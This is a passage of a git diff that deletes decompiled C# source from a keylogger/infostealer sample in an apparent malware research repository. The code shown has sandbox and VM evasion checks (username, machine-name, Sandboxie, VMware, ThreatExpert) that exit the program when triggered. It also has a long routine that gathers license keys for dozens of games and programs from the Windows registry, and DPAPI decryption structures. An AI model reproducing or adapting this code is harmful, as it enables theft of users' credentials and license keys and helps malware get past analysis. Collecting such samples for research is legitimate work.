ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - List stringList = new List(); -label_2: - num3 = 3; - stringList.Add("UserName"); -label_3: - num3 = 4; - stringList.Add("User"); -label_4: - num3 = 5; - stringList.Add("honey"); -label_5: - num3 = 6; - stringList.Add("sandbox"); -label_6: - num3 = 7; - stringList.Add("currentuser"); -label_7: - num3 = 8; - stringList.Add("User"); -label_8: - num3 = 9; - List.Enumerator enumerator = stringList.GetEnumerator(); - goto label_13; -label_10: - num3 = 10; - string current; - if (Operators.CompareString(Environment.UserName, current, false) != 0) - goto label_12; -label_11: - num3 = 11; - Environment.Exit(0); -label_12: - num3 = 13; -label_13: - if (enumerator.MoveNext()) - { - current = enumerator.Current; - goto label_10; - } - else - { - enumerator.Dispose(); - goto label_21; - } -label_16: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_10; - case 11: - goto label_11; - case 12: - case 13: - goto label_12; - case 14: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void checkComputername() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - List stringList = new List(); -label_2: - num3 = 3; - stringList.Add("ComputerName"); -label_3: - num3 = 4; - stringList.Add("COMPUTERNAME"); -label_4: - num3 = 5; - stringList.Add("DELL-D3E62F7E26"); -label_5: - num3 = 6; - stringList.Add("DWI-9625AC2E275"); -label_6: - num3 = 7; - stringList.Add("MICHAEL-F156CF7"); -label_7: - num3 = 8; - List.Enumerator enumerator = stringList.GetEnumerator(); - goto label_12; -label_9: - num3 = 9; - string current; - if (Operators.CompareString(Environment.MachineName, current, false) != 0) - goto label_11; -label_10: - num3 = 10; - Environment.Exit(0); -label_11: - num3 = 12; -label_12: - if (enumerator.MoveNext()) - { - current = enumerator.Current; - goto label_9; - } - else - { - enumerator.Dispose(); - goto label_20; - } -label_15: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_9; - case 10: - goto label_10; - case 11: - case 12: - goto label_11; - case 13: - goto label_20; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_15; - } - throw ProjectData.CreateProjectError(-2146828237); -label_20: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static void antiSandboxie() - { - if (Process.GetProcessesByName("SbieSvc").Length < 1) - return; - Environment.Exit(0); - } - - public static void IsVmWare() - { - string str1 = "VMDragDetectWndClass"; - ref string local1 = ref str1; - string str2 = (string) null; - ref string local2 = ref str2; - if (Form1.ant.FindWindow(ref local1, ref local2) != 0L) - return; - Environment.Exit(0); - } - - private static void AntiThreatExpert() - { - if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample")) - return; - Environment.Exit(0); - } - } - - [System.Flags] - public enum CryptProtectPromptFlags - { - CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1, - CRYPTPROTECT_PROMPT_ON_PROTECT = 2, - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct CRYPTPROTECT_PROMPTSTRUCT - { - public int cbSize; - public Form1.CryptProtectPromptFlags dwPromptFlags; - public IntPtr hwndApp; - public string szPrompt; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct DATA_BLOB - { - public int cbData; - public IntPtr pbData; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/FuckTheKey.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/FuckTheKey.cs deleted file mode 100644 index e1abd590..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/FuckTheKey.cs +++ /dev/null @@ -1,3993 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.FuckTheKey -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using Roy.My; -using System; -using System.Runtime.CompilerServices; - -namespace Roy -{ - [StandardModule] - internal sealed class FuckTheKey - { - public static string fuckkeys() - { -label_0: - string str1; - int num1; - int num2; - try - { - int num3 = 1; - str1 = ""; -label_1: - ProjectData.ClearProjectError(); - num1 = 1; -label_2: - num3 = 3; - str1 += "\r\nNeed for Speed Carbon :"; -label_3: - num3 = 4; - string str2 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Electronic Arts\\Need for Speed Carbon", "ergc", (object) null)); -label_4: - num3 = 5; - str1 += str2; -label_5: - ProjectData.ClearProjectError(); - num1 = 1; -label_6: - num3 = 7; - str1 += "\r\nNeed For Speed Hot Pursuit 2 :"; -label_7: - num3 = 8; - string str3 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Hot Pursuit 2", "ergc", (object) null)); -label_8: - num3 = 9; - str1 += str3; -label_9: - ProjectData.ClearProjectError(); - num1 = 1; -label_10: - num3 = 11; - str1 += "\r\nNeed for Speed Most Wanted :"; -label_11: - num3 = 12; - string str4 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Need for Speed Most Wanted", "ergc", (object) null)); -label_12: - num3 = 13; - str1 += str4; -label_13: - ProjectData.ClearProjectError(); - num1 = 1; -label_14: - num3 = 15; - str1 += "\r\nNeed for Speed ProStreet :"; -label_15: - num3 = 16; - string str5 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Electronic Arts\\Need for Speed ProStreet", "ergc", (object) null)); -label_16: - num3 = 17; - str1 += str5; -label_17: - ProjectData.ClearProjectError(); - num1 = 1; -label_18: - num3 = 19; - str1 += "\r\nNeed For Speed Underground :"; -label_19: - num3 = 20; - string str6 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Underground", "ergc", (object) null)); -label_20: - num3 = 21; - str1 += str6; -label_21: - ProjectData.ClearProjectError(); - num1 = 1; -label_22: - num3 = 23; - str1 += "\r\nNeed for Speed Underground 2 :"; -label_23: - num3 = 24; - string str7 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Need for Speed Underground 2", "ergc", (object) null)); -label_24: - num3 = 25; - str1 += str7; -label_25: - ProjectData.ClearProjectError(); - num1 = 1; -label_26: - num3 = 27; - str1 += "\r\nMedieval II Total War : "; -label_27: - num3 = 28; - string str8 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\SEGA\\Medieval II Total War", "CDKey", (object) null)); -label_28: - num3 = 29; - str1 += str8; -label_29: - ProjectData.ClearProjectError(); - num1 = 1; -label_30: - num3 = 31; - str1 += "\r\nAdobe Goolive : "; -label_31: - num3 = 32; - string str9 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Adobe\\Golive\\5.0\\Registration", "SERIAL", (object) null)); -label_32: - num3 = 33; - str1 += str9; -label_33: - ProjectData.ClearProjectError(); - num1 = 1; -label_34: - num3 = 35; - str1 += "\r\nNero 7 : "; -label_35: - num3 = 36; - string str10 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ahead\\Installation\\BAK\\Nero 7\\Info", "Serial7_1190555485", (object) null)); -label_36: - num3 = 37; - str1 += str10; -label_37: - ProjectData.ClearProjectError(); - num1 = 1; -label_38: - num3 = 39; - string str11 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Ubisoft\\Splinter Cell Pandora Tomorrow", "CDKey", (object) null)); -label_39: - num3 = 40; - str1 = str1 + "Splinter Cell Pandora Tomorrow : " + str11; -label_40: - ProjectData.ClearProjectError(); - num1 = 1; -label_41: - num3 = 42; - string str12 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Ubisoft\\Splinter Cell Chaos Theory\\Keys", "DiscKey_SCCT", (object) null)); -label_42: - num3 = 43; - str1 = str1 + "\r\nSplinter Cell Chaos Theory : " + str12; -label_43: - ProjectData.ClearProjectError(); - num1 = 1; -label_44: - num3 = 45; - string str13 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Activision\\Call of Duty", "codkey", (object) null)); -label_45: - num3 = 46; - str1 = str1 + "\r\nCall of Duty : " + str13; -label_46: - ProjectData.ClearProjectError(); - num1 = 1; -label_47: - num3 = 48; - string str14 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Activision\\Call of Duty United Offensive", "key", (object) null)); -label_48: - num3 = 49; - str1 = str1 + "\r\nCall of Duty United Offensive : " + str14; -label_49: - ProjectData.ClearProjectError(); - num1 = 1; -label_50: - num3 = 51; - string str15 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Activision\\Call of Duty 2", "codkey", (object) null)); -label_51: - num3 = 52; - str1 = str1 + "\r\nCall of Duty 2 : " + str15; -label_52: - ProjectData.ClearProjectError(); - num1 = 1; -label_53: - num3 = 54; - string str16 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Activision\\Call of Duty 4", "codkey", (object) null)); -label_54: - num3 = 55; - str1 = str1 + "\r\nCall of Duty 4 : " + str16; -label_55: - ProjectData.ClearProjectError(); - num1 = 1; -label_56: - num3 = 57; - string str17 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Activision\\Call of Duty WAW", "codkey", (object) null)); -label_57: - num3 = 58; - str1 = str1 + "\r\nCall of Duty WAW : " + str17; -label_58: - ProjectData.ClearProjectError(); - num1 = 1; -label_59: - num3 = 60; - str1 += "\r\nDawn of War : "; -label_60: - num3 = 61; - string str18 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Dawn of War", "CDKEY", (object) null)); -label_61: - num3 = 62; - str1 += str18; -label_62: - ProjectData.ClearProjectError(); - num1 = 1; -label_63: - num3 = 64; - str1 += "\r\nDawn of War - Dark Crusade : "; -label_64: - num3 = 65; - string str19 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Dawn of War - Dark Crusade", "CDKEY", (object) null)); -label_65: - num3 = 66; - str1 += str19; -label_66: - ProjectData.ClearProjectError(); - num1 = 1; -label_67: - num3 = 68; - str1 += "\r\nDawn of War - Dark Crusade : "; -label_68: - num3 = 69; - string str20 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Dawn of War - Dark Crusade", "W40KCDKEY", (object) null)); -label_69: - num3 = 70; - str1 += str20; -label_70: - ProjectData.ClearProjectError(); - num1 = 1; -label_71: - num3 = 72; - str1 += "\r\nDawn of War - Dark Crusade : "; -label_72: - num3 = 73; - string str21 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Dawn of War - Dark Crusade", "WXPCDKEY", (object) null)); -label_73: - num3 = 74; - str1 += str21; -label_74: - ProjectData.ClearProjectError(); - num1 = 1; -label_75: - num3 = 76; - str1 += "\r\nACDSystems PicAView : "; -label_76: - num3 = 77; - string str22 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ACD Systems\\PicaView", "LicenseNumber", (object) null)); -label_77: - num3 = 78; - str1 += str22; -label_78: - ProjectData.ClearProjectError(); - num1 = 1; -label_79: - num3 = 80; - str1 += "\r\nAct of War : "; -label_80: - num3 = 81; - string str23 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Eugen Systems\\ActOfWa", "RegNumber", (object) null)); -label_81: - num3 = 82; - str1 += str23; -label_82: - ProjectData.ClearProjectError(); - num1 = 1; -label_83: - num3 = 84; - str1 += "\r\nAdobe Photoshop 7 :"; -label_84: - num3 = 85; - string str24 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Adobe\\Photoshop\\7.0\\Registration", "SERIAL", (object) null)); -label_85: - num3 = 86; - str1 += str24; -label_86: - ProjectData.ClearProjectError(); - num1 = 1; -label_87: - num3 = 88; - str1 += "\r\nAdvanced PDF Password Recovery :"; -label_88: - num3 = 89; - string str25 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Elcom\\Advanced PDF Password Recovery\\Registration", "Code", (object) null)); -label_89: - num3 = 90; - str1 += str25; -label_90: - ProjectData.ClearProjectError(); - num1 = 1; -label_91: - num3 = 92; - str1 += "\r\nAdvanced PDF Password Recovery Pro :"; -label_92: - num3 = 93; - string str26 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Elcom\\Advanced PDF Password Recovery Pro\\Registration", "Code", (object) null)); -label_93: - num3 = 94; - str1 += str26; -label_94: - ProjectData.ClearProjectError(); - num1 = 1; -label_95: - num3 = 96; - str1 += "\r\nAdvanced ZIP Password Recovery :"; -label_96: - num3 = 97; - string str27 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Elcom\\Advanced ZIP Password Recovery\\Registration", "Code", (object) null)); -label_97: - num3 = 98; - str1 += str27; -label_98: - ProjectData.ClearProjectError(); - num1 = 1; -label_99: - num3 = 100; - str1 += "\r\nBattlefield Vietnam"; -label_100: - num3 = 101; - string str28 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA GAMES\\Battlefield Vietnam", "ergc", (object) null)); -label_101: - num3 = 102; - str1 += str28; -label_102: - ProjectData.ClearProjectError(); - num1 = 1; -label_103: - num3 = 104; - str1 += "\r\nBlack and White"; -label_104: - num3 = 105; - string str29 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\EA GAMES\\Black and White", "ergc", (object) null)); -label_105: - num3 = 106; - str1 += str29; -label_106: - ProjectData.ClearProjectError(); - num1 = 1; -label_107: - num3 = 108; - str1 += "\r\nBlack and White 2 :"; -label_108: - num3 = 109; - string str30 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\Software\\Electronic Arts\\Black and White 2", "ergc", (object) null)); -label_109: - num3 = 110; - str1 += str30; -label_110: - ProjectData.ClearProjectError(); - num1 = 1; -label_111: - num3 = 112; - str1 += "\r\nBoulder Dash Rocks :"; -label_112: - num3 = 113; - string str31 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Boulder Dash Rocks", "ergc", (object) null)); -label_113: - num3 = 114; - str1 += str31; -label_114: - ProjectData.ClearProjectError(); - num1 = 1; -label_115: - num3 = 116; - str1 += "\r\nBurnout Paradise :"; -label_116: - num3 = 117; - string str32 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Burnout Paradise", "ergc", (object) null)); -label_117: - num3 = 118; - str1 += str32; -label_118: - ProjectData.ClearProjectError(); - num1 = 1; -label_119: - num3 = 120; - str1 += "\r\nAnno 1701 :"; -label_120: - num3 = 121; - string str33 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Sunflowers\\Anno 1701", "SerialNo", (object) null)); -label_121: - num3 = 122; - str1 += str33; -label_122: - ProjectData.ClearProjectError(); - num1 = 1; -label_123: - num3 = 124; - str1 += "\r\nAshamopp WinOptimizer Platinum :"; -label_124: - num3 = 125; - string str34 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\ashampoo\\Ashampoo WinOptimizer Platinum 3", "Key", (object) null)); -label_125: - num3 = 126; - str1 += str34; -label_126: - ProjectData.ClearProjectError(); - num1 = 1; -label_127: - num3 = 128; - str1 += "\r\nAV Voice Changer :"; -label_128: - num3 = 129; - string str35 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\@stake\\LC5\\Registration", "Unlock Code", (object) null)); -label_129: - num3 = 130; - str1 += str35; -label_130: - ProjectData.ClearProjectError(); - num1 = 1; -label_131: - num3 = 132; - str1 += "\r\nBattlefield(1942) :"; -label_132: - num3 = 133; - string str36 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942", "ergc", (object) null)); -label_133: - num3 = 134; - str1 += str36; -label_134: - ProjectData.ClearProjectError(); - num1 = 1; -label_135: - num3 = 136; - str1 += "\r\nBattlefield 1942 Secret Weapons of WWII :"; -label_136: - num3 = 137; - string str37 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 Secret Weapons of WWII", "ergc", (object) null)); -label_137: - num3 = 138; - str1 += str37; -label_138: - ProjectData.ClearProjectError(); - num1 = 1; -label_139: - num3 = 140; - str1 += "\r\nBattlefield 1942 The Road to Rome :"; -label_140: - num3 = 141; - string str38 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 The Road to Rome", "ergc", (object) null)); -label_141: - num3 = 142; - str1 += str38; -label_142: - ProjectData.ClearProjectError(); - num1 = 1; -label_143: - num3 = 144; - str1 += "\r\nBattlefield 2 :"; -label_144: - num3 = 145; - string str39 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\Battlefield 2", "ergc", (object) null)); -label_145: - num3 = 146; - str1 += str39; -label_146: - ProjectData.ClearProjectError(); - num1 = 1; -label_147: - num3 = 148; - str1 += "\r\nBattlefield(2142) :"; -label_148: - num3 = 149; - string str40 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 2142", "ergc", (object) null)); -label_149: - num3 = 150; - str1 += str40; -label_150: - ProjectData.ClearProjectError(); - num1 = 1; -label_151: - num3 = 152; - str1 += "\r\nCamtasia Studio 6(Name) :"; -label_152: - num3 = 153; - string str41 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\TechSmith\\Camtasia Studio\\6.0", "RegisteredTo", (object) null)); -label_153: - num3 = 154; - str1 += str41; -label_154: - ProjectData.ClearProjectError(); - num1 = 1; -label_155: - num3 = 156; - str1 += "\r\nCamtasia Studio 6(Key) :"; -label_156: - num3 = 157; - string str42 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\TechSmith\\Camtasia Studio\\6.0", "RegistrationKey", (object) null)); -label_157: - num3 = 158; - str1 += str42; -label_158: - ProjectData.ClearProjectError(); - num1 = 1; -label_159: - num3 = 160; - str1 += "\r\nChrome :"; -label_160: - num3 = 161; - string str43 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Techland\\Chrome", "SerialNumber", (object) null)); -label_161: - num3 = 162; - str1 += str43; -label_162: - ProjectData.ClearProjectError(); - num1 = 1; -label_163: - num3 = 164; - str1 += "\r\nCodec Tweak Tool :"; -label_164: - num3 = 165; - string str44 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Codec Tweak Tool", "serial", (object) null)); -label_165: - num3 = 166; - str1 += str44; -label_166: - ProjectData.ClearProjectError(); - num1 = 1; -label_167: - num3 = 168; - str1 += "\r\nCommand and Conquer Generals :"; -label_168: - num3 = 169; - string str45 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Generals", "ergc", (object) null)); -label_169: - num3 = 170; - str1 += str45; -label_170: - ProjectData.ClearProjectError(); - num1 = 1; -label_171: - num3 = 172; - str1 += "\r\nCommand and Conquer Generals Zero Hour :"; -label_172: - num3 = 173; - string str46 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA GAMES\\Command and Conquer Generals Zero Hour", "ergc", (object) null)); -label_173: - num3 = 174; - str1 += str46; -label_174: - ProjectData.ClearProjectError(); - num1 = 1; -label_175: - num3 = 176; - str1 += "\r\nRed Alert 2 :"; -label_176: - num3 = 177; - string str47 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Westwood\\Red Alert 2", "Serial", (object) null)); -label_177: - num3 = 178; - str1 += str47; -label_178: - ProjectData.ClearProjectError(); - num1 = 1; -label_179: - num3 = 180; - str1 += "\r\nRed Alert :"; -label_180: - num3 = 181; - string str48 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Westwood\\Red Alert", "Serial", (object) null)); -label_181: - num3 = 182; - str1 += str48; -label_182: - ProjectData.ClearProjectError(); - num1 = 1; -label_183: - num3 = 184; - str1 += "\r\nCommand and Conquer Tiberian Sun :"; -label_184: - num3 = 185; - string str49 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Westwood\\Tiberian Sun", "Serial", (object) null)); -label_185: - num3 = 186; - str1 += str49; -label_186: - ProjectData.ClearProjectError(); - num1 = 1; -label_187: - num3 = 188; - str1 += "\r\nCommand and Conquer 3 :"; -label_188: - num3 = 189; - string str50 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Command and Conquer 3", "ergc", (object) null)); -label_189: - num3 = 190; - str1 += str50; -label_190: - ProjectData.ClearProjectError(); - num1 = 1; -label_191: - num3 = 192; - str1 += "\r\nCommand and Conquer 3 :"; -label_192: - num3 = 193; - string str51 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Electronic Arts\\Command and Conquer 3", "ergc", (object) null)); -label_193: - num3 = 194; - str1 += str51; -label_194: - ProjectData.ClearProjectError(); - num1 = 1; -label_195: - num3 = 196; - str1 += "\r\nCompany of Heroes :"; -label_196: - num3 = 197; - string str52 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Company of Heroes", "CoHProductKey", (object) null)); -label_197: - num3 = 198; - str1 += str52; -label_198: - ProjectData.ClearProjectError(); - num1 = 1; -label_199: - num3 = 200; - str1 += "\r\nCompany of Heroes :"; -label_200: - num3 = 201; - string str53 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\THQ\\Company of Heroes", "CoHOFProductKey", (object) null)); -label_201: - num3 = 202; - str1 += str53; -label_202: - ProjectData.ClearProjectError(); - num1 = 1; -label_203: - num3 = 204; - str1 += "\r\nCounter-Strike :"; -label_204: - num3 = 205; - string str54 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Counter-Strike\\Settings", "Key", (object) null)); -label_205: - num3 = 206; - str1 += str54; -label_206: - ProjectData.ClearProjectError(); - num1 = 1; -label_207: - num3 = 208; - str1 += "\r\nCrysis :"; -label_208: - num3 = 209; - string str55 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Electronic Arts\\Crysis", "ergc", (object) null)); -label_209: - num3 = 210; - str1 += str55; -label_210: - ProjectData.ClearProjectError(); - num1 = 1; -label_211: - num3 = 212; - str1 += "\r\nPowerDVD :"; -label_212: - num3 = 213; - string str56 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Cyberlink\\PowerDVD", "CDKey", (object) null)); -label_213: - num3 = 214; - str1 += str56; -label_214: - ProjectData.ClearProjectError(); - num1 = 1; -label_215: - num3 = 216; - str1 += "\r\nPowerBar :"; -label_216: - num3 = 217; - string str57 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Cyberlink\\PowerBar", "CDKey", (object) null)); -label_217: - num3 = 218; - str1 += str57; -label_218: - ProjectData.ClearProjectError(); - num1 = 1; -label_219: - num3 = 220; - str1 += "\r\nCyberLink PowerProducer :"; -label_220: - num3 = 221; - string str58 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\CyberLink\\PowerProducer\\3.0\\UserReg", "SR_No", (object) null)); -label_221: - num3 = 222; - str1 += str58; -label_222: - ProjectData.ClearProjectError(); - num1 = 1; -label_223: - num3 = 224; - str1 += "\r\nDay of Defeat :"; -label_224: - num3 = 225; - string str59 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Day of Defeat\\Settings", "Key", (object) null)); -label_225: - num3 = 226; - str1 += str59; -label_226: - ProjectData.ClearProjectError(); - num1 = 1; -label_227: - num3 = 228; - str1 += "\r\nThe Battle for Middle-earth II :"; -label_228: - num3 = 229; - string str60 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\Electronic Arts\\The Battle for Middle-earth II", "ergc", (object) null)); -label_229: - num3 = 230; - str1 += str60; -label_230: - ProjectData.ClearProjectError(); - num1 = 1; -label_231: - num3 = 232; - str1 += "\r\nThe Sims 2 :"; -label_232: - num3 = 233; - string str61 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2", "ergc", (object) null)); -label_233: - num3 = 234; - str1 += str61; -label_234: - ProjectData.ClearProjectError(); - num1 = 1; -label_235: - num3 = 236; - str1 += "\r\nThe Sims 2 University :"; -label_236: - num3 = 237; - string str62 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 University", "ergc", (object) null)); -label_237: - num3 = 238; - str1 += str62; -label_238: - ProjectData.ClearProjectError(); - num1 = 1; -label_239: - num3 = 240; - str1 += "\r\nThe Sims 2 Nightlife :"; -label_240: - num3 = 241; - string str63 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Nightlife", "ergc", (object) null)); -label_241: - num3 = 242; - str1 += str63; -label_242: - ProjectData.ClearProjectError(); - num1 = 1; -label_243: - num3 = 244; - str1 += "\r\nThe Sims 2 Open For Business :"; -label_244: - num3 = 245; - string str64 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Open For Business", "ergc", (object) null)); -label_245: - num3 = 246; - str1 += str64; -label_246: - ProjectData.ClearProjectError(); - num1 = 1; -label_247: - num3 = 248; - str1 += "\r\nThe Sims 2 Pets :"; -label_248: - num3 = 249; - string str65 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Electronic Arts\\EA Games\\The Sims 2 Pets", "ergc", (object) null)); 